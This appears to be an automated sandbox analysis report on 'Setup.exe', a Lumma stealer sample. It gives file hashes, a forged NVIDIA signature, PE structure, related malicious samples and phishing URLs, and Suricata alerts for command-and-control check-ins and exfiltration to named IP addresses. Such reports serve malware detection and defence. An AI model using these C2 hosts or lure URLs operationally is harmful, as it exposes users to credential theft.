Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-UpFile_v25.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.8.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	setup.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
	Airbornemx_PAYOUT7370.odt	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://ipfs.io/ipfs/bafybeifkk7tuizumzirz7qfuxbcoggonud2b6gcvttaa7ewfdgltpybls4/index1.html?err=KHPGKXW3AEO13L6ZGUK&dispatch=B34&id=2849c1C900c31C62B159B3002c63C5#usering@vanas.eu	Get hash	malicious	Unknown	Browse	104.17.24.14
	'Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.25.52
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Set-UpFile_v25.exe	Get hash	malicious	LummaC	Browse	104.21.25.52
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	https://sos-ch-gva-2.exo.io/ready/seah/continue/complete-this-to-continue.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	te13.exe	Get hash	malicious	Metasploit	Browse	104.21.16.1
NTLGB	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-UpFile_v25.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	ppc.elf	Get hash	malicious	Mirai	Browse	86.15.78.37
	installer_1.05_36.8.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	194.168.231.153
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 185.161.251.21
	'Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 185.161.251.21
	Set-UpFile_v25.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 185.161.251.21
	LVkAi4PBv6.exe	Get hash	malicious	Unknown	Browse	188.114.96.3 185.161.251.21
	64pOGv7k4N.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 185.161.251.21
	BnJxmraqlk.exe	Get hash	malicious	LummaC, PrivateLoader	Browse	188.114.96.3 185.161.251.21
	NjFiIQNSid.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 185.161.251.21
	H565rymIuO.doc	Get hash	malicious	Unknown	Browse	188.114.96.3 185.161.251.21

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.44302827183095866
TrID:	Win32 Executable (generic) a (10002005/4) 98.88% Inno Setup installer (109748/4) 1.08% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	74'584'245 bytes
MD5:	b42457dd108a4b0032a35391be8c1a4e
SHA1:	f28ee5d70cd6bbb66351e7fd6da2fe8e22fdbdba
SHA256:	853df9767577da1c0ad5a6589f5b33d61e282675cc0abcae55d24aaf74193623
SHA512:	c40afa00b922f50fe42282747b67b2184e745030426f077f4ded6b387c440d2ccfcec1e65bed08a94a5f93147971e3f093f97529fb3468f74f2de20de755b43b
SSDEEP:	24576:T+QSkqg/8QNDa5lZe9fvyErqPW+UHx+/8cRTpEDidI6X:T7XqCB9f7qw2pE+d/X
TLSH:	B6F77C3D660033A78B43D5EB4B2697D99B949110231234FFE3AB0E4BC66B4D8437697B
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x49b840
Entrypoint Section:	CODE
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	1
OS Version Minor:	0
File Version Major:	1
File Version Minor:	0
Subsystem Version Major:	1
Subsystem Version Minor:	0
Import Hash:	c1220b6b9a0c9ddea463bab3a99b594f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=VeriSign Class 3 Code Signing 2010 CA, OU=Terms of use at https://www.verisign.com/rpa (c)10, OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	27/07/2015 20:00:00 26/07/2018 19:59:59
Subject Chain	CN=NVIDIA Corporation, O=NVIDIA Corporation, L=SANTA CLARA, S=California, C=US
Version:	3
Thumbprint MD5:	F7219078FBE20BC1B98BF8A86BFC0396
Thumbprint SHA-1:	30632EA310114105969D0BDA28FDCE267104754F
Thumbprint SHA-256:	1B5061CF61C93822BDE2433156EEBE1F027C8FA9C88A4AF0EBD1348AF79C61E2
Serial:	14781BC862E8DC503A559346F5DCC518

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF4h
push ebx
push esi
push edi
call 00007FC374D6BC83h
call 00007FC374D6DF52h
call 00007FC374D6EC09h
call 00007FC374D7229Ch
call 00007FC374D724CBh
call 00007FC374D792A2h
call 00007FC374D79315h
call 00007FC374D7B260h
call 00007FC374D818FFh
call 00007FC374D8D776h
call 00007FC374D97D3Dh
call 00007FC374D992A0h
call 00007FC374DB52CFh
call 00007FC374DBAE72h
call 00007FC374DBB311h
call 00007FC374DBCCD0h
call 00007FC374DBE6C3h
call 00007FC374DC221Ah
call 00007FC374DC30E9h
call 00007FC374DC485Ch
call 00007FC374DCF9CBh
call 00007FC374DD7B16h
call 00007FC374DE36B9h
call 00007FC374DEDFD8h
call 00007FC374E011D7h
xor eax, eax
push ebp
push 0049B904h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007FC374D6E2EEh
call 00007FC374E03EC5h
mov eax, 0049B580h
push eax
push 0049B58Ch
mov eax, dword ptr [0049E624h]
call 00007FC374D8CC90h
call 00007FC374E03EF3h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007FC374E041BBh
jmp 00007FC375D6B6F4h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa0000	0x2622	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xae000	0x64200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x471d6f5	0x39c0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xa4000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x9aa88	0x9ac00	4eee057a7ff5c464ab5150e206bab99b	False	0.5045767492932148	data	6.6263127828582356	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9c000	0x1160	0x1200	dad9cae5d49bb93a2321cc456fdf7b30	False	0.4505208333333333	data	4.472841393973581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0x9e000	0x1500	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xa0000	0x2622	0x2800	6a6036a0f19131189537424c828f6b45	False	0.36884765625	data	4.911486635960526	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xa3000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xa4000	0x18	0x200	f0c87208c92fd0d7fee2e7f2dca8ed20	False	0.05078125	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "J"	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0xa5000	0x8d1c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0xae000	0x64200	0x64200	75b2ac89598308a72c12f74514d64498	False	0.6300595934769039	data	7.481350440673158	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xaebf0	0x134	data			0.4805194805194805
RT_CURSOR	0xaed24	0x134	data			0.38311688311688313
RT_CURSOR	0xaee58	0x134	data			0.36038961038961037
RT_CURSOR	0xaef8c	0x134	data			0.4090909090909091
RT_CURSOR	0xaf0c0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_CURSOR	0xaf1f4	0x134	data			0.4642857142857143
RT_BITMAP	0xaf328	0x4e8	Device independent bitmap graphic, 48 x 48 x 4, image size 1152			0.2945859872611465
RT_BITMAP	0xaf810	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.521551724137931
RT_ICON	0xaf8f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5675675675675675
RT_ICON	0xafa20	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.4486994219653179
RT_ICON	0xaff88	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4637096774193548
RT_ICON	0xb0270	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.3935018050541516
RT_STRING	0xb0b18	0x178	data			0.7420212765957447
RT_STRING	0xb0c90	0x122	data			0.7103448275862069
RT_STRING	0xb0db4	0x170	data			0.8125
RT_STRING	0xb0f24	0x1a8	data			0.6981132075471698
RT_STRING	0xb10cc	0x124	data			0.8356164383561644
RT_STRING	0xb11f0	0x150	data			0.7678571428571429
RT_STRING	0xb1340	0xf6	data			0.7642276422764228
RT_STRING	0xb1438	0xcc	data			0.9019607843137255
RT_STRING	0xb1504	0xb4	data			0.8
RT_STRING	0xb15b8	0xe8	data			0.8663793103448276
RT_STRING	0xb16a0	0x154	data			0.7558823529411764
RT_STRING	0xb17f4	0x16a	data			0.8425414364640884
RT_STRING	0xb1960	0x3c	data			0.6833333333333333
RT_STRING	0xb199c	0x140	data			0.796875
RT_STRING	0xb1adc	0x142	data			0.6242236024844721
RT_STRING	0xb1c20	0x116	data			0.7661870503597122
RT_STRING	0xb1d38	0xfe	AmigaOS bitmap font "\017_\034 %", 15464 elements, 2nd, 3rd			0.8464566929133859
RT_STRING	0xb1e38	0x68	data			0.75
RT_STRING	0xb1ea0	0xb4	data			0.6277777777777778
RT_STRING	0xb1f54	0xae	data			0.5344827586206896
RT_RCDATA	0xb2004	0x1800	PE32+ executable (console) x86-64, for MS Windows	Chinese	China	0.3826497395833333
RT_RCDATA	0xb3804	0x1000	PE32 executable (GUI) Intel 80386, for MS Windows	Chinese	China	0.36474609375
RT_RCDATA	0xb4804	0x5b10	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows	Chinese	China	0.3255404941660947
RT_RCDATA	0xba314	0x11c	Delphi compiled form 'TMainForm'			0.7676056338028169
RT_RCDATA	0xba430	0x399	Delphi compiled form 'TNewDiskForm'			0.5276872964169381
RT_RCDATA	0xba7cc	0x317	Delphi compiled form 'TSelectFolderForm'			0.5372945638432364
RT_RCDATA	0xbaae4	0x2f7	Delphi compiled form 'TSelectLanguageForm'			0.5704874835309618
RT_RCDATA	0xbaddc	0x5d0	Delphi compiled form 'TUninstallProgressForm'			0.4576612903225806
RT_RCDATA	0xbb3ac	0x458	Delphi compiled form 'TUninstSharedFileForm'			0.43345323741007197
RT_RCDATA	0xbb804	0x1fa6	Delphi compiled form 'TWizardForm'			0.23019007652431497
RT_GROUP_CURSOR	0xbd7ac	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xbd7c0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xbd7d4	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0xbd7e8	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xbd7fc	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0xbd810	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0xbd824	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0xbd864	0x144	data	Chinese	China	0.5833333333333334
RT_MANIFEST	0xbd9a8	0x462	XML 1.0 document, ASCII text, with very long lines (1120), with CRLF line terminators	Chinese	China	0.4839572192513369

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
user32.dll	MessageBoxA
oleaut32.dll	SafeArrayPutElement, SafeArrayCreate, VariantChangeTypeEx, VariantCopy, VariantClear, SysStringLen, SysAllocStringLen
advapi32.dll	RegSetValueExA, RegQueryValueExA, RegQueryInfoKeyA, RegOpenKeyExA, RegEnumValueA, RegEnumKeyExA, RegDeleteValueA, RegDeleteKeyA, RegCreateKeyExA, RegCloseKey, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueA, GetUserNameA, GetTokenInformation, FreeSid, EqualSid, AllocateAndInitializeSid
kernel32.dll	lstrcmpA, WriteProfileStringA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, VirtualFree, VirtualAlloc, UpdateResourceA, UnmapViewOfFile, TransactNamedPipe, TerminateThread, TerminateProcess, Sleep, SizeofResource, SetNamedPipeHandleState, SetLastError, SetFileTime, SetFilePointer, SetFileAttributesA, SetErrorMode, SetEndOfFile, SetCurrentDirectoryA, RemoveDirectoryA, ReleaseMutex, ReadFile, QueryPerformanceCounter, OpenProcess, OpenMutexA, MultiByteToWideChar, MulDiv, MoveFileExA, MoveFileA, MapViewOfFile, LockResource, LocalFree, LocalFileTimeToFileTime, LoadResource, LoadLibraryExA, LoadLibraryA, IsDBCSLeadByte, IsBadWritePtr, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetWindowsDirectoryA, GetVersionExA, GetVersion, GetUserDefaultLangID, GetTickCount, GetSystemTimeAsFileTime, GetSystemInfo, GetSystemDirectoryA, GetSystemDefaultLCID, GetShortPathNameA, GetProfileStringA, GetProcAddress, GetPrivateProfileStringA, GetOverlappedResult, GetModuleHandleA, GetModuleFileNameA, GetLogicalDrives, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetDriveTypeA, GetDiskFreeSpaceA, GetCurrentThreadId, GetCurrentThread, GetCurrentProcessId, GetCurrentProcess, GetCurrentDirectoryA, GetComputerNameA, GetCommandLineA, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FlushFileBuffers, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToSystemTime, FileTimeToLocalFileTime, EnumResourceLanguagesA, EndUpdateResourceA, DeviceIoControl, DeleteFileA, CreateThread, CreateProcessA, CreateNamedPipeA, CreateMutexA, CreateFileMappingA, CreateFileA, CreateEventA, CreateDirectoryA, CopyFileA, CompareStringA, CompareFileTime, CloseHandle, BeginUpdateResourceA
mpr.dll	WNetOpenEnumA, WNetGetUniversalNameA, WNetGetConnectionA, WNetEnumResourceA, WNetCloseEnum
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, TextOutA, StretchDIBits, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RoundRect, RestoreDC, RemoveFontResourceA, Rectangle, RectVisible, RealizePalette, Polyline, Pie, PatBlt, MoveToEx, LineTo, LineDDA, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetCurrentPositionEx, GetClipBox, GetBitmapBits, ExtFloodFill, ExcludeClipRect, EnumFontsA, Ellipse, DeleteObject, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateFontIndirectA, CreateDIBitmap, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, Chord, BitBlt, Arc, AddFontResourceA
user32.dll	WindowFromPoint, WinHelpA, WaitMessage, WaitForInputIdle, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenuEx, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowOwnedPopups, ShowCursor, SetWindowRgn, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollPos, SetScrollInfo, SetRectEmpty, SetRect, SetPropA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetCapture, SetActiveWindow, SendNotifyMessageA, SendMessageTimeoutA, SendMessageW, SendMessageA, ScrollWindowEx, ScrollWindow, ScreenToClient, ReplyMessage, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClassA, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OffsetRect, OemToCharBuffA, OemToCharA, MsgWaitForMultipleObjects, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRgn, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetSystemMetrics, GetSystemMenu, GetSysColor, GetSubMenu, GetScrollPos, GetPropA, GetParent, GetWindow, GetMessagePos, GetMessageA, GetMenuStringA, GetMenuState, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassInfoW, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, ExitWindowsEx, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableMenuItem, DrawTextW, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreateWindowExA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcW, CallWindowProcA, CallNextHookEx, BringWindowToTop, BeginPaint, AppendMenuA, CharPrevA, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemBuffA, AdjustWindowRectEx
comctl32.dll	ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Create, InitCommonControls
ole32.dll	CoTaskMemFree, CLSIDFromProgID, CoCreateInstance, CoFreeUnusedLibraries, CoUninitialize, CoInitialize, IsEqualGUID
oleaut32.dll	GetActiveObject, RegisterTypeLib, LoadTypeLib, SysFreeString
shell32.dll	ShellExecuteExA, ShellExecuteA, SHGetFileInfoA, ExtractIconA
shell32.dll	SHChangeNotify, SHBrowseForFolder, SHGetPathFromIDList, SHGetMalloc
comdlg32.dll	GetSaveFileNameA, GetOpenFileNameA
ole32.dll	CoDisconnectObject
advapi32.dll	AdjustTokenPrivileges

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-07T15:33:21.220650+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49796	188.114.96.3	443	TCP
2025-01-07T15:33:21.977021+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49796	188.114.96.3	443	TCP
2025-01-07T15:33:21.977021+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49796	188.114.96.3	443	TCP
2025-01-07T15:33:22.442940+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49802	188.114.96.3	443	TCP
2025-01-07T15:33:22.939365+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49802	188.114.96.3	443	TCP
2025-01-07T15:33:22.939365+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49802	188.114.96.3	443	TCP
2025-01-07T15:33:23.996113+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49813	188.114.96.3	443	TCP
2025-01-07T15:33:25.060322+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49813	188.114.96.3	443	TCP
2025-01-07T15:33:25.650141+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49824	188.114.96.3	443	TCP
2025-01-07T15:33:26.862006+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49830	188.114.96.3	443	TCP
2025-01-07T15:33:28.305033+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49841	188.114.96.3	443	TCP
2025-01-07T15:33:29.329728+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49851	188.114.96.3	443	TCP
2025-01-07T15:33:30.283912+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49859	188.114.96.3	443	TCP
2025-01-07T15:33:30.771218+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49859	188.114.96.3	443	TCP
2025-01-07T15:33:31.545509+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49865	185.161.251.21	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 15:33:20.754892111 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:20.754933119 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:20.754996061 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:20.759207010 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:20.759221077 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.220580101 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.220649958 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.222338915 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.222347975 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.222611904 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.275284052 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.275398016 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.275414944 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.977027893 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.977124929 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.977288961 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.979422092 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.979443073 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.979512930 CET	49796	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.979517937 CET	443	49796	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.987063885 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.987103939 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:21.987411976 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.987670898 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:21.987685919 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.442868948 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.442939997 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.444545984 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.444559097 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.444808006 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.446069956 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.446104050 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.446157932 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.939395905 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.939460039 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.939490080 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.939515114 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.939564943 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.939601898 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.939615011 CET	49802	443	192.168.2.6	188.114.96.3
Jan 7, 2025 15:33:22.939909935 CET	443	49802	188.114.96.3	192.168.2.6
Jan 7, 2025 15:33:22.939933062 CET	443	49802	188.114.96.3	192.168.2.6
